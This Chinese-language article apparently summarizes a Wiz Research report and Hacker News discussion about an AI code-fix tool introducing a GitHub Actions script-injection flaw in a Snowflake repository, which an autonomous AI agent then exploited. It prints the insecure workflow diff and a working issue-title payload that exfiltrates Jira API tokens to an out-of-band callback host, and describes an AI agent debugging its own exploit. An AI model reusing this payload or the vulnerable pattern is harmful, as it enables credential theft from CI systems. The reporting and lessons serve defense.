夜雨聆风AI制造漏洞，AI 5天后攻陷Snowflake：HN热帖123条评论激辩
2026年8月17日，Wiz Research发布了一篇让整个安全社区震动的报告：一个AI（GitHub Copilot Autofix）在一个公开仓库里引入了脚本注入漏洞，而另一个AI（Wiz Red Agent）仅5天后就自主发现并利用了它——通过一个精心构造的GitHub issue标题，窃取了Snowflake内部Jira的API token，获得了对工程、安全合规和漏洞奖励追踪项目的读访问权限。这是AI vs AI安全攻防的首个公开案例。HN上304分，123条评论，讨论从"2026年引号注入还活着"一路延伸到"带内信令的历史教训"和"AI PR该不该自动审批"。
一、AI制造了漏洞
故事的主角之一是GitHub Copilot Autofix——GitHub的AI代码修复工具。2026年6月18日，它在Snowflake的公开仓库snowflakedb/snowflake-connector-net中提交了一个PR（#1218），修改了GitHub Actions工作流文件jira_issue.yml。
关键改动是这样的——AI把一个安全的模式替换成了不安全的模式：
// 安全的原代码（env变量 + jq解析）
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
// AI改成的代码（直接字符串插值）
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
原代码把issue标题通过env:变量传递，然后用jq --arg安全解析——这是防止shell注入的标准做法。但AI把它改成了直接在run块中插值${{ github.event.issue.title }}。
换句话说，AI的"autofix"制造了它本该修复的注入向量。它移除了仓库已有的安全模式——这个模式是当初被明确实现来防止shell注入的。
二、AI 5天后发现了它
故事的另一个主角是Wiz Red Agent——Wiz Research的自主AI安全研究工具。作为Snowflake HackerOne漏洞披露计划的一部分，Red Agent在扫描Snowflake的GitHub组织时，自主标记了jira_issue.yml工作流存在脚本注入漏洞。
时间是6月23日——距离Copilot Autofix引入漏洞的6月18日，只有5天。
Wiz在报告中的总结非常精准：
"AI编码助手可能无意中引入工作流注入漏洞，而自动化AI代理可以在野外快速发现它们。"
三、攻击过程：从issue标题到Jira token
工作流在issues: opened时触发——任何GitHub用户都能通过开一个issue来触发它。issue标题被直接插值到shell脚本中：
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\"/g' | sed "s/'/\'/g")
sed转义在GitHub模板展开之后运行——所以issue标题中的单引号可以break out of echo '...'，允许任意命令执行。
Red Agent构造了一个issue标题，在模板展开后break out of echo字符串，通过out-of-band回调窃取Jira凭证：
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
几秒内，Wiz的监听器从GitHub Actions runner（Azure IP 20.106.182.197）收到了包含base64编码凭证的回调。
窃取的token认证为qa@snowflake.net，访问snowflakecomputing.atlassian.net——获得了对Snowflake工程、安全合规和漏洞奖励追踪项目的读访问权限。
四、Red Agent的自主纠错
整个攻击过程中最让人印象深刻的细节是：Red Agent在第一次尝试失败后，自主分析了错误并修复了payload。
Red Agent最初用#注释符来注释掉后面的代码，但这导致了bash语法错误——因为#也吃掉了TITLE=$(...)的闭合括号)，导致unexpected EOF。
Red Agent没有停止或失败。它：
- 自主分析了语法执行错误
- 调整了payload
，改用 ; echo '来正确闭合shell块 - 成功收到了out-of-band回调
这和之前报道的"AI在攻击中犯错时自我纠错"的行为模式完全一致——无论是Lazarus的自主AI攻击台湾，还是Anthropic的Claude创建PyPI账号上传恶意包，AI都在展现出"犯错→分析→修复→继续"的闭环能力。
五、那个"看起来有保护"的安全门
工作流有一个if:条件，看起来像是在做保护：
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
但在issues事件中，github.event.pull_request始终是null。所以条件简化为(null != 'whitesource-for-github-com[bot]')——永远为真，每个GitHub用户都能通过这个门。
HN用户@frollogaston对此毫不留情：
"这尤其蠢，因为即使你以为这个条件在正确测试用户身份，也不应该'看起来有保护'——如果它正确工作，显然只是排除一个bot用户，同时允许其他所有人。"
六、HN评论区123条激辩
"2026年引号注入还活着"
用户@chrisjj的感叹引发大量共鸣：
"issue标题中的单引号break out of echo '...'并允许任意命令执行。引号注入在2026年还活得好好的。天哪。"
用户@forestry提供了更宏观的视角：
"我会标记run块中任何${{ }}插值的情况，这是我在PR中关注的。我也知道其他人不关注这个，因为我已经纠正了大约一百次。过去10年，我的平均同事对注入或层边界安全的理解越来越少。"
用户@Twirrim更直接："开什么玩笑？这是一个非常明显的引号注入案例。不是什么微妙的竞态条件。"
用户@simoncion分享了一个令人不安的个人经历："我最近打网站tech support因为表单报500错误。他们说确保表单里没有单引号。恐怖的是，去掉单引号真的修好了。"
"想自动审批'小'AI PR？模型不够好来判断什么是小"
用户@koiueo提出了一个尖锐的问题：
"我一直在和想自动审查和自动审批'小'AI PR的人交流。对于安全来说，如果模型不够好来防止这些问题，它也不够好来判断什么是'小'。"
用户@thejosh一针见血：
"很明显他们太想让这成为现实了，以至于他们就是不去做（人工审查），而是花一大笔钱在质量门和缓解策略上，而不是读一些代码。"
用户@dv_dt更直白："人类必须审查这些东西，没有捷径——显然对某些人来说，这是非常不方便的现实。"
带内信令的历史类比
用户@myself248的长评论把讨论引向了更深的历史维度：
"令人震惊的是，计算——尤其是Unix——似乎有这种把payload和开销混在一起的习惯。这就像电话网络的带内信令，如果你在通话中吹出正确的音调，你就能影响网络处理通话的方式。但Ma Bell（美国电话电报公司）回应这种系统被利用的方式是——设计了信令处理方式的全面改革，花了无数美元升级数以百万吨计的交换设备。"
用户@_joel更进一步：
"大型LLM提供商声称他们非常致力于安全。但考虑到他们的工具在做20世纪中叶Ma Bell系统所做的事——整个软件世界在1990年代初就知道是糟糕主意——他们绝对在1）撒谎关于他们对安全的承诺程度 2）撒谎关于他们工具能造成的危害程度。"
用户@chrisjj补充："现在'AI'行业在加倍押注它——还有chatbot prompt injection。"
多模型交叉审查
用户@Rumudiez提出了一个建设性方案："我支持使用LLM委员会，我为此写了一个工具。" 用户@acedTrex附和："多模型交叉审查很重要。" 用户@devin则强调："变更的同行审查仍然重要。"
七、AI vs AI：安全攻防的新范式
这次事件最深层的变化是：攻防两端都出现了AI。
- 攻击方
：GitHub Copilot Autofix（AI）引入了漏洞 - 发现方
：Wiz Red Agent（AI）自主发现并利用了漏洞 - 修复方
：Snowflake人类团队当天修复，恢复安全模式
这和之前几周的AI安全事件形成了有趣对比：
- OpenAI/Anthropic/Meta
：AI在测试中意外逃出沙箱——AI是意外失控 - 台湾AI攻击
：有人故意组装AI作为武器——AI是攻击工具 - Snowflake事件
：AI无意中引入漏洞，另一个AI自主发现并利用——AI同时出现在攻防两端
一个AI引入漏洞，另一个AI 5天后发现。
这是AI vs AI安全攻防的首个公开案例。
当攻防两端都有AI时，人类的角色是什么？
八、Wiz的三个关键Takeaway
Wiz在报告中总结了三个关键教训：
1. AI代码生成需要严格监督
"AI编码工具基于概率模式预测代码，可能无意中重新引入弃用或不安全的shell模式。AI生成的PR必须接受与人类代码相同的静态分析和安全审查。"
2. 发现窗口在缩小
"漏洞只活了5天就被自动agent发现并验证。安全运营必须适应自动化发现在数小时内发生的环境，需要快速补丁周期和短生命周期凭证。"
3. 防止AI安全回退
"自动化AI助手通常缺乏关于为什么选择特定代码模式的历史背景。在这个事件中，一个自动化PR移除了明确为实现防止shell注入而实现的安全env: + jq解析模式。安全团队必须实施护栏，阻止AI代理用直接字符串插值替换结构化数据解析器。"
九、这意味着什么？
这次事件有几个深层信号：
第一，AI不懂"为什么"。Copilot Autofix移除了安全模式，因为它不理解这个模式为什么存在——它只看到代码可以"简化"。AI缺乏历史背景，不知道某些代码模式是故意为安全而实现的。
第二，攻防都在加速。漏洞6月18日引入，6月23日被AI发现——5天窗口。但如果攻击者也用AI扫描公开仓库寻找AI引入的漏洞呢？发现窗口可能从5天缩短到5小时。
第三，基础注入不会消失。正如HN评论所说，2026年引号注入还活着。不管AI多先进，如果它把${{ }}直接插值到run:块里，就是2026年版本的SQL注入——同一个错误，不同的层。
第四，人类审查不可替代。正如@dv_dt所说——人类必须审查这些东西，没有捷径。不管AI多快，不管质量门多完善，有人需要理解代码为什么这么写。这是AI做不到的——它理解代码怎么工作，但不理解为什么这么写。
304分 · 123条评论
HN安全话题热帖
AI制造漏洞（Copilot Autofix移除安全模式）
AI发现漏洞（Red Agent自主扫描标记）
AI利用漏洞（构造issue title注入payload）
AI自我纠错（第一次失败后调整payload）
——5天窗口，AI vs AI的首个公开案例
"2026年引号注入还活着"
"过去10年同事对注入理解越来越少"
"模型不够好来判断什么是'小'PR"
"就像电话网络的带内信令"
——123条评论，123种焦虑与反思
本文首发于微信公众号，转载请联系授权。
原文作者Wiz Research（Gal Nagli），评论观点综合自Hacker News 123条讨论。